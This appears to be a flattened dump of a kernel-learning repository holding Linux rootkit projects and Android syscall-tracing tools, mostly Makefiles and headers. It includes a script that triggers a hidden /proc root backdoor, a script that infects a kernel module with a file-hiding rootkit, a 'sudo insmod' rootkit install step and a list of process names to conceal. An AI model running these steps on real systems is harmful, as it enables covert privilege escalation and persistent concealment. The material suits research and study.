├── linux-kernel ├── KoviD │ ├── volundr │ │ ├── BUGS │ │ ├── VERSION │ │ ├── examples │ │ │ ├── elf.png │ │ │ ├── sht_note.c │ │ │ ├── et_exec_trojan.S │ │ │ ├── example-sctidx.c │ │ │ ├── et_dyn_trojan.S │ │ │ ├── example-infect-note.c │ │ │ ├── example-headers.c │ │ │ └── example-infect-text.c │ │ ├── Makefile │ │ ├── config.h │ │ ├── .gitignore │ │ ├── volundr │ │ │ ├── elf │ │ │ │ ├── validate.h │ │ │ │ ├── destroy.h │ │ │ │ ├── print.h │ │ │ │ ├── infect.h │ │ │ │ ├── validate.c │ │ │ │ ├── parse.h │ │ │ │ └── destroy.c │ │ │ ├── common │ │ │ │ ├── common.h │ │ │ │ ├── map.h │ │ │ │ ├── log.h │ │ │ │ └── utils.h │ │ │ ├── Makefile │ │ │ └── asm │ │ │ │ ├── asm.h │ │ │ │ └── syscalls.S │ │ ├── run │ │ ├── completion.sh │ │ ├── LICENSE │ │ ├── TODO │ │ └── README.md │ ├── CONTRIBUTING.md │ ├── src │ │ ├── loadmodule.sh │ │ ├── netapp.h │ │ ├── vm.c │ │ ├── util.c │ │ ├── fs.h │ │ └── bpf.h │ ├── .gitmodules │ ├── INSTALL │ ├── tests │ │ ├── Cargo.toml │ │ └── src │ │ │ └── main.rs │ ├── lgtm.yml │ ├── scripts │ │ ├── rustelf │ │ │ ├── Cargo.toml │ │ │ └── Cargo.lock │ │ └── install.sh │ ├── .gitignore │ ├── .github │ │ ├── ISSUE_TEMPLATE │ │ │ └── bug_report.md │ │ └── workflows │ │ │ └── codeql.yml │ ├── Makefile │ ├── LICENSE │ └── DISCLAIMER.md ├── reveng_rtkit │ ├── img │ │ ├── Blog1.png │ │ ├── Blog10.png │ │ ├── Blog11.png │ │ ├── Blog12.png │ │ ├── Blog13.png │ │ ├── Blog14.png │ │ ├── Blog2.png │ │ ├── Blog3.png │ │ ├── Blog4.png │ │ ├── Blog5.png │ │ ├── Blog6.png │ │ ├── Blog7.png │ │ ├── Blog8.png │ │ ├── Blog9.png │ │ └── unable_to_rmmod.png │ ├── reveng_rtkit_mechanism.jpeg │ ├── kernel_src │ │ └── Makefile │ ├── CONTRIBUTING.md │ ├── LICENSE │ └── user_src │ │ └── client_usermode.c ├── Diamorphine │ ├── Makefile │ ├── diamorphine.h │ └── README.md ├── lkm_example │ ├── README.md │ ├── Makefile │ └── lkm_example.c ├── Makefile ├── sched.c ├── example_mutex.c ├── example_tasklet.c ├── example_rwlock.c ├── ioctl-client.c ├── example_spinlock.c ├── hello-sysfs.c ├── cryptosha256.c ├── procfs1.c ├── example_atomic.c ├── completions.c ├── procfs2.c ├── print_string.c ├── procfs3.c └── procfs4.c ├── research-rootkit ├── fshid1 │ ├── 032416_525.mp4 │ └── Makefile ├── fshid2 │ ├── test │ │ └── 032416_525.mp4 │ ├── Makefile │ └── fshid.c ├── pshid │ ├── zeroevil │ ├── Makefile │ └── pshid.c ├── real │ ├── fshid │ │ ├── test │ │ │ └── 032416_525.mp4 │ │ ├── zeroevil │ │ ├── Makefile │ │ └── fshid.c │ └── infect.sh ├── codeinj │ ├── fshid │ │ ├── test │ │ │ └── 032416_525.mp4 │ │ ├── zeroevil │ │ ├── Makefile │ │ └── fshid.c │ ├── Makefile │ ├── infect.sh │ └── codeinj.c ├── ifmon │ ├── Makefile │ └── ifmon.c ├── kohid │ ├── Makefile │ └── kohid.c ├── pthid │ ├── Makefile │ └── pthid.c ├── root │ ├── r00tme.sh │ ├── Makefile │ └── root.c ├── elf │ ├── makefile │ ├── uelf.h │ ├── lssec.c │ ├── lssym.c │ ├── uelf.c │ └── setsym.c ├── write_protection │ ├── Makefile │ └── write_protection.c ├── fsmon │ └── Makefile └── zeroevil │ └── structs.h ├── Frida-Seccomp ├── img │ ├── 1.png │ ├── 2.JPG │ └── 3.JPG ├── README.md └── multi_frida_seccomp.py ├── Syscall_intercept_arm64 ├── README.md ├── Syscall_item_enter_arm64.h ├── Makefile ├── Syscall_intercept_arm64.h └── Syscall_item_enter_arm64.cpp ├── ptrace_svc_intercept_arm64 ├── README.md ├── Syscall_item_enter_arm64.h ├── Syscall_intercept_arm64 ├── Makefile ├── Syscall_intercept_arm64.h └── Syscall_item_enter_arm64.cpp ├── .vscode └── settings.json ├── ptrace-seccomp-demo ├── Makefile └── arm_seccomp.h ├── android-kernel ├── Makefile ├── jprobe_example.c ├── kretprobe_example.c └── kprobe_example.c ├── .gitignore └── README.md /linux-kernel/KoviD/volundr/BUGS: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /research-rootkit/fshid1/032416_525.mp4: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/VERSION: -------------------------------------------------------------------------------- 1 | 0.1 2 | -------------------------------------------------------------------------------- /research-rootkit/fshid2/test/032416_525.mp4: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /research-rootkit/pshid/zeroevil: -------------------------------------------------------------------------------- 1 | ../../zeroevil -------------------------------------------------------------------------------- /research-rootkit/real/fshid/test/032416_525.mp4: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /research-rootkit/codeinj/fshid/test/032416_525.mp4: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /research-rootkit/real/fshid/zeroevil: -------------------------------------------------------------------------------- 1 | ../../../zeroevil -------------------------------------------------------------------------------- /research-rootkit/codeinj/fshid/zeroevil: -------------------------------------------------------------------------------- 1 | ../../../zeroevil -------------------------------------------------------------------------------- /linux-kernel/KoviD/CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | https://www.dataschool.io/how-to-contribute-on-github/ 2 | -------------------------------------------------------------------------------- /Frida-Seccomp/img/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thouger/kernel_learn/HEAD/Frida-Seccomp/img/1.png -------------------------------------------------------------------------------- /Frida-Seccomp/img/2.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thouger/kernel_learn/HEAD/Frida-Seccomp/img/2.JPG -------------------------------------------------------------------------------- /Frida-Seccomp/img/3.JPG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thouger/kernel_learn/HEAD/Frida-Seccomp/img/3.JPG -------------------------------------------------------------------------------- /linux-kernel/KoviD/src/loadmodule.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | insmod=$(which insmod) 3 | $insmod "$1" >/dev/null 2>&1 4 | -------------------------------------------------------------------------------- /Syscall_intercept_arm64/README.md: -------------------------------------------------------------------------------- 1 | # Syscall_intercept_arm64 2 | 介绍见看雪文章:https://bbs.pediy.com/thread-271921.htm 3 | -------------------------------------------------------------------------------- /ptrace_svc_intercept_arm64/README.md: -------------------------------------------------------------------------------- 1 | # Syscall_intercept_arm64 2 | 介绍见看雪文章:https://bbs.pediy.com/thread-271921.htm 3 | -------------------------------------------------------------------------------- /Syscall_intercept_arm64/Syscall_item_enter_arm64.h: -------------------------------------------------------------------------------- 1 | 2 | 3 | void SysCall_item_enter_switch(pid_t pid,user_pt_regs regs); -------------------------------------------------------------------------------- /ptrace_svc_intercept_arm64/Syscall_item_enter_arm64.h: -------------------------------------------------------------------------------- 1 | 2 | 3 | void SysCall_item_enter_switch(pid_t pid,user_pt_regs regs); -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "files.associations": { 3 | "sched.h": "c", 4 | "typeinfo": "c" 5 | } 6 | } -------------------------------------------------------------------------------- /linux-kernel/KoviD/.gitmodules: -------------------------------------------------------------------------------- 1 | [submodule "volundr"] 2 | path = volundr 3 | url = https://github.com/carloslack/volundr.git 4 | -------------------------------------------------------------------------------- /linux-kernel/reveng_rtkit/img/Blog1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thouger/kernel_learn/HEAD/linux-kernel/reveng_rtkit/img/Blog1.png -------------------------------------------------------------------------------- /linux-kernel/reveng_rtkit/img/Blog10.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thouger/kernel_learn/HEAD/linux-kernel/reveng_rtkit/img/Blog10.png -------------------------------------------------------------------------------- /linux-kernel/reveng_rtkit/img/Blog11.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thouger/kernel_learn/HEAD/linux-kernel/reveng_rtkit/img/Blog11.png -------------------------------------------------------------------------------- /linux-kernel/reveng_rtkit/img/Blog12.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thouger/kernel_learn/HEAD/linux-kernel/reveng_rtkit/img/Blog12.png -------------------------------------------------------------------------------- /linux-kernel/reveng_rtkit/img/Blog13.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thouger/kernel_learn/HEAD/linux-kernel/reveng_rtkit/img/Blog13.png -------------------------------------------------------------------------------- /linux-kernel/reveng_rtkit/img/Blog14.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thouger/kernel_learn/HEAD/linux-kernel/reveng_rtkit/img/Blog14.png -------------------------------------------------------------------------------- /linux-kernel/reveng_rtkit/img/Blog2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thouger/kernel_learn/HEAD/linux-kernel/reveng_rtkit/img/Blog2.png -------------------------------------------------------------------------------- /linux-kernel/reveng_rtkit/img/Blog3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thouger/kernel_learn/HEAD/linux-kernel/reveng_rtkit/img/Blog3.png -------------------------------------------------------------------------------- /linux-kernel/reveng_rtkit/img/Blog4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thouger/kernel_learn/HEAD/linux-kernel/reveng_rtkit/img/Blog4.png -------------------------------------------------------------------------------- /linux-kernel/reveng_rtkit/img/Blog5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thouger/kernel_learn/HEAD/linux-kernel/reveng_rtkit/img/Blog5.png -------------------------------------------------------------------------------- /linux-kernel/reveng_rtkit/img/Blog6.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thouger/kernel_learn/HEAD/linux-kernel/reveng_rtkit/img/Blog6.png -------------------------------------------------------------------------------- /linux-kernel/reveng_rtkit/img/Blog7.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thouger/kernel_learn/HEAD/linux-kernel/reveng_rtkit/img/Blog7.png -------------------------------------------------------------------------------- /linux-kernel/reveng_rtkit/img/Blog8.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thouger/kernel_learn/HEAD/linux-kernel/reveng_rtkit/img/Blog8.png -------------------------------------------------------------------------------- /linux-kernel/reveng_rtkit/img/Blog9.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thouger/kernel_learn/HEAD/linux-kernel/reveng_rtkit/img/Blog9.png -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/examples/elf.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thouger/kernel_learn/HEAD/linux-kernel/KoviD/volundr/examples/elf.png -------------------------------------------------------------------------------- /linux-kernel/reveng_rtkit/img/unable_to_rmmod.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thouger/kernel_learn/HEAD/linux-kernel/reveng_rtkit/img/unable_to_rmmod.png -------------------------------------------------------------------------------- /ptrace_svc_intercept_arm64/Syscall_intercept_arm64: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thouger/kernel_learn/HEAD/ptrace_svc_intercept_arm64/Syscall_intercept_arm64 -------------------------------------------------------------------------------- /linux-kernel/reveng_rtkit/reveng_rtkit_mechanism.jpeg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/thouger/kernel_learn/HEAD/linux-kernel/reveng_rtkit/reveng_rtkit_mechanism.jpeg -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/Makefile: -------------------------------------------------------------------------------- 1 | LIBDIR=./volundr 2 | 3 | all: 4 | make -C $(LIBDIR) 5 | 6 | clean: 7 | make -C $(LIBDIR) clean 8 | 9 | 10 | 11 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/config.h: -------------------------------------------------------------------------------- 1 | #ifndef _CONFIG_H 2 | #define _CONFIG_H 3 | 4 | #define DEBUG 5 | #define __ELF32__ 6 | #define __ELF_SYSV__ 7 | 8 | #endif 9 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/examples/sht_note.c: -------------------------------------------------------------------------------- 1 | /** 2 | * For custom PT_NOTE with increased size 3 | */ 4 | #include 5 | int main(int argc, char **argv) { 6 | for (int i = 0; i < 10; ++i) { printf("%d\n", i); } 7 | } 8 | -------------------------------------------------------------------------------- /ptrace-seccomp-demo/Makefile: -------------------------------------------------------------------------------- 1 | all: 2 | clang++ -target aarch64-linux-android21 arm_seccomp_ptrace.cpp -o tuziseccomp -static-libstdc++ 3 | adb push tuziseccomp /data/local/tmp 4 | adb shell chmod 777 /data/local/tmp/tuziseccomp 5 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/.gitignore: -------------------------------------------------------------------------------- 1 | [._]*.s[a-v][a-z] 2 | !*.svg 3 | [._]*.sw[a-p] 4 | [._]s[a-rt-v][a-z] 5 | [._]ss[a-gi-z] 6 | [._]sw[a-p] 7 | Session.vim 8 | Sessionx.vim 9 | .netrwhist 10 | *~ 11 | tags 12 | [._]*.un~ 13 | *.o 14 | -------------------------------------------------------------------------------- /android-kernel/Makefile: -------------------------------------------------------------------------------- 1 | # builds the kprobes example kernel modules; 2 | # then to use one (as root): insmod 3 | 4 | obj-$(CONFIG_SAMPLE_KPROBES) += kprobe_example.o jprobe_example.o 5 | obj-$(CONFIG_SAMPLE_KRETPROBES) += kretprobe_example.o 6 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/INSTALL: -------------------------------------------------------------------------------- 1 | Follow the steps: 2 | 3 | # Compile KoViD 4 | $ make 5 | 6 | # If you want to try the included ELF infection 7 | $ git submodule update --init volundr 8 | $ make -C volundr 9 | 10 | # Install rootkit 11 | $ sudo insmod ./kovid.ko 12 | -------------------------------------------------------------------------------- /linux-kernel/Diamorphine/Makefile: -------------------------------------------------------------------------------- 1 | obj-m := diamorphine.o 2 | CC = gcc -Wall 3 | KDIR := /lib/modules/$(shell uname -r)/build 4 | PWD := $(shell pwd) 5 | 6 | all: 7 | $(MAKE) -C $(KDIR) M=$(PWD) modules 8 | 9 | clean: 10 | $(MAKE) -C $(KDIR) M=$(PWD) clean 11 | -------------------------------------------------------------------------------- /linux-kernel/reveng_rtkit/kernel_src/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += reveng_rtkit.o 2 | 3 | KERNEL_ROOT=/lib/modules/$(shell uname -r)/build 4 | 5 | modules: 6 | @$(MAKE) -C $(KERNEL_ROOT) M=$(shell pwd) modules 7 | 8 | clean: 9 | @$(MAKE) -C $(KERNEL_ROOT) M=$(shell pwd) clean 10 | 11 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/tests/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "tst" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | anyhow = "1.0.66" 10 | fork = "0.1.20" 11 | structopt = "0.3.26" 12 | -------------------------------------------------------------------------------- /linux-kernel/lkm_example/README.md: -------------------------------------------------------------------------------- 1 | # lkm_example 2 | ## 例子功能:通过创建设备文件与用户态进行通信 3 | 在 Ubuntu 中需要运行: 4 | 5 | ``` 6 | apt-get install build-essential linux-headers-`uname -r` 7 | ``` 8 | 9 | # 测试 10 | make test 11 | 12 | # 引用 13 | |https://www.oschina.net/translate/writing-a-simple-linux-kernel-module 14 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/lgtm.yml: -------------------------------------------------------------------------------- 1 | extraction: 2 | cpp: 3 | prepare: 4 | packages: 5 | - build-essential 6 | - linux-headers-generic 7 | - linux-kernel-headers 8 | after_prepare: 9 | - export GNU_MAKE=make 10 | index: 11 | build_command: 12 | - $GNU_MAKE lgtm 13 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/volundr/elf/validate.h: -------------------------------------------------------------------------------- 1 | #ifndef _ELF_VALIDATE_H 2 | #define _ELF_VALIDATE_H 3 | 4 | #include 5 | #include 6 | 7 | bool elf_validate_eheader(const elf_ehdr_t*); 8 | bool elf_validate_filetype(FILE *); 9 | bool elf_validate_index(const elf_t *, elf_half_t); 10 | 11 | #endif 12 | -------------------------------------------------------------------------------- /linux-kernel/reveng_rtkit/CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | Before doing a PR, please go through the [README.md](https://github.com/reveng007/reveng_rtkit#readme) file and visit the [Issues](https://github.com/reveng007/reveng_rtkit/issues) section, to see all marked issues and ideas related to it. 2 | You can also add new Issues, and make PRs to them. 3 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/scripts/rustelf/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "kvrust" 3 | version = "0.1.0" 4 | edition = "2021" 5 | publish = false 6 | 7 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 8 | 9 | [dependencies] 10 | anyhow = "1.0.42" 11 | assert-str = "0.1" 12 | chrono = "0.4" 13 | structopt = "0.3.26" 14 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/src/netapp.h: -------------------------------------------------------------------------------- 1 | #ifndef __NETAPP_H 2 | #define __NETAPP_H 3 | 4 | /* 5 | * The names below are just examples and can be 6 | * modified and/or extended at will 7 | */ 8 | static const char *netapp_list[] = { 9 | "whitenose", "pinknose", "rednose", "blacknose", 10 | "greynose", "purplenose", "bluenose", NULL 11 | }; 12 | 13 | #endif 14 | -------------------------------------------------------------------------------- /Syscall_intercept_arm64/Makefile: -------------------------------------------------------------------------------- 1 | # export PATH=.../Android/Sdk/ndk/24.0.8215888/toolchains/llvm/prebuilt/linux-x86_64/bin:$PATH 2 | 3 | all: 4 | clang++ -target aarch64-linux-android21 Syscall_intercept_arm64.cpp Syscall_item_enter_arm64.cpp -o Syscall_intercept_arm64 -static-libstdc++ 5 | adb push Syscall_intercept_arm64 /data/local/tmp 6 | adb shell chmod 777 /data/local/tmp/Syscall_intercept_arm64 -------------------------------------------------------------------------------- /Frida-Seccomp/README.md: -------------------------------------------------------------------------------- 1 | # 一个Android通用svc跟踪以及hook方案——Frida-Seccomp 2 | 3 | ## 效果 4 | ### openat 5 | ![图片描述](img/2.JPG) 6 | ### recvfrom 7 | ![图片描述](img/3.JPG) 8 | # 原理及其介绍 9 | https://bbs.pediy.com/thread-271815.htm 10 | # 如何使用 11 | ``` 12 | pip3 install frida 13 | python3 multi_frida_seccomp.py 14 | ``` 15 | log信息可以在logcat过滤“seccomp”查看 16 | 同时也自动保存到了「包名\_pid\_时间戳」文件夹内(支持多进程) 17 | ![图片描述](img/1.png) -------------------------------------------------------------------------------- /ptrace_svc_intercept_arm64/Makefile: -------------------------------------------------------------------------------- 1 | # export PATH=.../Android/Sdk/ndk/24.0.8215888/toolchains/llvm/prebuilt/linux-x86_64/bin:$PATH 2 | 3 | all: 4 | clang++ -target aarch64-linux-android21 Syscall_intercept_arm64.cpp Syscall_item_enter_arm64.cpp -o Syscall_intercept_arm64 -static-libstdc++ 5 | adb push Syscall_intercept_arm64 /data/local/tmp 6 | adb shell chmod 777 /data/local/tmp/Syscall_intercept_arm64 -------------------------------------------------------------------------------- /research-rootkit/ifmon/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = ifmon 2 | obj-m := ${TARGET}ko.o 3 | ${TARGET}ko-objs := ${TARGET}.o ../zeroevil/zeroevil.o 4 | 5 | 6 | default: 7 | ${MAKE} modules \ 8 | --directory "/lib/modules/$(shell uname --release)/build" \ 9 | M="$(shell pwd)" 10 | 11 | 12 | clean: 13 | ${MAKE} clean \ 14 | --directory "/lib/modules/$(shell uname --release)/build" \ 15 | M="$(shell pwd)" 16 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/run: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | set -euo pipefail 3 | 4 | if [[ "$#" -lt 1 ]]; then 5 | echo "Use [[example] [-h]]" 6 | echo "examples:" 7 | for i in example-headers example-infect-text \ 8 | example-infect-note example-long example-sctidx; do 9 | printf "\t%s\n" "$i" 10 | done 11 | exit 12 | fi 13 | LD_LIBRARY_PATH=./volundr ./examples/"$@" 14 | -------------------------------------------------------------------------------- /research-rootkit/fshid2/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = fshid 2 | obj-m := ${TARGET}ko.o 3 | ${TARGET}ko-objs := ${TARGET}.o ../zeroevil/zeroevil.o 4 | 5 | 6 | 7 | 8 | 9 | default: 10 | ${MAKE} modules \ 11 | --directory "/lib/modules/$(shell uname --release)/build" \ 12 | M="$(shell pwd)" 13 | 14 | 15 | clean: 16 | ${MAKE} clean \ 17 | --directory "/lib/modules/$(shell uname --release)/build" \ 18 | M="$(shell pwd)" 19 | -------------------------------------------------------------------------------- /research-rootkit/kohid/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = kohid 2 | obj-m := ${TARGET}ko.o 3 | ${TARGET}ko-objs := ${TARGET}.o ../zeroevil/zeroevil.o 4 | 5 | 6 | 7 | 8 | 9 | default: 10 | ${MAKE} modules \ 11 | --directory "/lib/modules/$(shell uname --release)/build" \ 12 | M="$(shell pwd)" 13 | 14 | 15 | clean: 16 | ${MAKE} clean \ 17 | --directory "/lib/modules/$(shell uname --release)/build" \ 18 | M="$(shell pwd)" 19 | -------------------------------------------------------------------------------- /research-rootkit/pshid/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = pshid 2 | obj-m := ${TARGET}ko.o 3 | ${TARGET}ko-objs := ${TARGET}.o ../zeroevil/zeroevil.o 4 | 5 | 6 | 7 | 8 | 9 | default: 10 | ${MAKE} modules \ 11 | --directory "/lib/modules/$(shell uname --release)/build" \ 12 | M="$(shell pwd)" 13 | 14 | 15 | clean: 16 | ${MAKE} clean \ 17 | --directory "/lib/modules/$(shell uname --release)/build" \ 18 | M="$(shell pwd)" 19 | -------------------------------------------------------------------------------- /research-rootkit/pthid/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = pthid 2 | obj-m := ${TARGET}ko.o 3 | ${TARGET}ko-objs := ${TARGET}.o ../zeroevil/zeroevil.o 4 | 5 | 6 | 7 | 8 | 9 | default: 10 | ${MAKE} modules \ 11 | --directory "/lib/modules/$(shell uname --release)/build" \ 12 | M="$(shell pwd)" 13 | 14 | 15 | clean: 16 | ${MAKE} clean \ 17 | --directory "/lib/modules/$(shell uname --release)/build" \ 18 | M="$(shell pwd)" 19 | -------------------------------------------------------------------------------- /research-rootkit/codeinj/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = codeinj 2 | obj-m := ${TARGET}ko.o 3 | ${TARGET}ko-objs := ${TARGET}.o ../zeroevil/zeroevil.o 4 | 5 | 6 | 7 | 8 | 9 | default: 10 | ${MAKE} modules \ 11 | --directory "/lib/modules/$(shell uname --release)/build" \ 12 | M="$(shell pwd)" 13 | 14 | 15 | clean: 16 | ${MAKE} clean \ 17 | --directory "/lib/modules/$(shell uname --release)/build" \ 18 | M="$(shell pwd)" 19 | -------------------------------------------------------------------------------- /research-rootkit/real/fshid/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = fshid 2 | obj-m := ${TARGET}ko.o 3 | ${TARGET}ko-objs := ${TARGET}.o ../zeroevil/zeroevil.o 4 | 5 | 6 | 7 | 8 | 9 | default: 10 | ${MAKE} modules \ 11 | --directory "/lib/modules/$(shell uname --release)/build" \ 12 | M="$(shell pwd)" 13 | 14 | 15 | clean: 16 | ${MAKE} clean \ 17 | --directory "/lib/modules/$(shell uname --release)/build" \ 18 | M="$(shell pwd)" 19 | -------------------------------------------------------------------------------- /research-rootkit/codeinj/fshid/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = fshid 2 | obj-m := ${TARGET}ko.o 3 | ${TARGET}ko-objs := ${TARGET}.o ../zeroevil/zeroevil.o 4 | 5 | 6 | 7 | 8 | 9 | default: 10 | ${MAKE} modules \ 11 | --directory "/lib/modules/$(shell uname --release)/build" \ 12 | M="$(shell pwd)" 13 | 14 | 15 | clean: 16 | ${MAKE} clean \ 17 | --directory "/lib/modules/$(shell uname --release)/build" \ 18 | M="$(shell pwd)" 19 | -------------------------------------------------------------------------------- /research-rootkit/root/r00tme.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | 4 | # The testing script for the root backdoor functionality. 5 | 6 | 7 | sha512() { 8 | printf '%s' "${1}" | sha512sum | cut -d ' ' -f1 9 | } 10 | 11 | 12 | id && \ 13 | file /proc/kcore # We can't read because we are not root. 14 | 15 | printf '%s' a_wrong_try > /proc/$(sha512 rootme) && \ 16 | printf '%s' $(sha512 r00tme) > /proc/$(sha512 rootme) && \ 17 | id && \ 18 | file /proc/kcore # We can read we are now root! 19 | -------------------------------------------------------------------------------- /research-rootkit/elf/makefile: -------------------------------------------------------------------------------- 1 | all: 2 | make lssec 3 | make lssym 4 | make setsym 5 | 6 | 7 | install: 8 | install lssec lssym setsym /usr/bin/ 9 | 10 | 11 | uninstall: 12 | rm -rf /usr/bin/{lssec,lssym,setsym} 13 | 14 | 15 | lssec: lssec.c 16 | ${CC} -std=c99 lssec.c -o lssec 17 | 18 | 19 | lssym: lssym.c uelf.c 20 | ${CC} -std=c99 lssym.c uelf.c -o lssym 21 | 22 | 23 | setsym: setsym.c uelf.c 24 | ${CC} -std=c99 setsym.c uelf.c -o setsym 25 | 26 | 27 | clean: 28 | rm -f lssec lssym setsym 29 | -------------------------------------------------------------------------------- /research-rootkit/codeinj/infect.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | 4 | (cd fshid && make --quiet) && 5 | make --quiet && 6 | ld -r codeinj.ko fshid/fshidko.ko -o infected.ko && 7 | readelf -s infected.ko | grep -e init_module -e cleanup_module -e fshid_init -e fshid_exit && 8 | setsym infected.ko init_module $(setsym infected.ko fshid_init) && 9 | setsym infected.ko cleanup_module $(setsym infected.ko fshid_exit) && 10 | readelf -s infected.ko | grep -e init_module -e cleanup_module -e fshid_init -e fshid_exit 11 | -------------------------------------------------------------------------------- /linux-kernel/lkm_example/Makefile: -------------------------------------------------------------------------------- 1 | obj-m += lkm_example.o 2 | all: 3 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 4 | clean: 5 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 6 | 7 | test: 8 | sudo rm -fr /dev/lkm_example && sudo rmmod lkm_example.ko 9 | sudo insmod lkm_example.ko 10 | $(eval MAJOR_NUM := $(shell dmesg | grep "lkm_example module loaded with device major number" | head -n 1 | awk '{print $$9}')) 11 | sudo mknod /dev/lkm_example c $(MAJOR_NUM) 0 12 | sudo chmod 777 /dev/lkm_example 13 | cat /dev/lkm_example -------------------------------------------------------------------------------- /research-rootkit/write_protection/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = write_protection 2 | obj-m := ${TARGET}ko.o 3 | ${TARGET}ko-objs := ${TARGET}.o ../zeroevil/zeroevil.o 4 | 5 | 6 | 7 | 8 | 9 | default: 10 | ${MAKE} modules \ 11 | --directory "/lib/modules/$(shell uname --release)/build" \ 12 | M="$(shell pwd)" 13 | 14 | 15 | clean: 16 | ${MAKE} clean \ 17 | --directory "/lib/modules/$(shell uname --release)/build" \ 18 | M="$(shell pwd)" 19 | 20 | 21 | test: default 22 | sudo dmesg -c && sudo insmod ${TARGET}ko.ko && sudo dmesg -c && sudo rmmod ${TARGET}ko && sudo dmesg -c 23 | -------------------------------------------------------------------------------- /research-rootkit/root/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = root 2 | obj-m := ${TARGET}ko.o 3 | ${TARGET}ko-objs := ${TARGET}.o ../zeroevil/zeroevil.o 4 | 5 | 6 | 7 | 8 | 9 | default: 10 | ${MAKE} modules \ 11 | --directory "/lib/modules/$(shell uname --release)/build" \ 12 | M="$(shell pwd)" 13 | 14 | 15 | clean: 16 | ${MAKE} clean \ 17 | --directory "/lib/modules/$(shell uname --release)/build" \ 18 | M="$(shell pwd)" 19 | 20 | 21 | test: default 22 | sudo dmesg -c && sudo insmod ${TARGET}ko.ko && sudo dmesg -c \ 23 | && ./r00tme.sh; sudo dmesg -c && sudo rmmod ${TARGET}ko && sudo dmesg -c 24 | -------------------------------------------------------------------------------- /research-rootkit/fshid1/Makefile: -------------------------------------------------------------------------------- 1 | TARGET = fshid 2 | obj-m := ${TARGET}ko.o 3 | ${TARGET}ko-objs := ${TARGET}.o ../zeroevil/zeroevil.o 4 | 5 | 6 | 7 | 8 | 9 | default: 10 | ${MAKE} modules \ 11 | --directory "/lib/modules/$(shell uname --release)/build" \ 12 | M="$(shell pwd)" 13 | 14 | 15 | clean: 16 | ${MAKE} clean \ 17 | --directory "/lib/modules/$(shell uname --release)/build" \ 18 | M="$(shell pwd)" 19 | 20 | 21 | test: default 22 | sudo dmesg -c && sudo insmod ${TARGET}ko.ko && sudo dmesg -c \ 23 | && ls -al && sudo dmesg -c && sudo rmmod ${TARGET}ko && sudo dmesg -c && ls -al 24 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/volundr/elf/destroy.h: -------------------------------------------------------------------------------- 1 | #ifndef _DESTROY_H 2 | #define _DESTROY_H 3 | bool elf_destroy_meta (elf_t *elf); 4 | bool elf_destroy_header (elf_t *elf); 5 | bool elf_destroy_program (elf_t *elf); 6 | bool elf_destroy_section (elf_t *elf); 7 | bool elf_destroy_symbol_table (elf_t *elf); 8 | bool elf_destroy_global_symbol_table (elf_t *elf); 9 | bool elf_destroy_file (elf_t *elf); 10 | bool 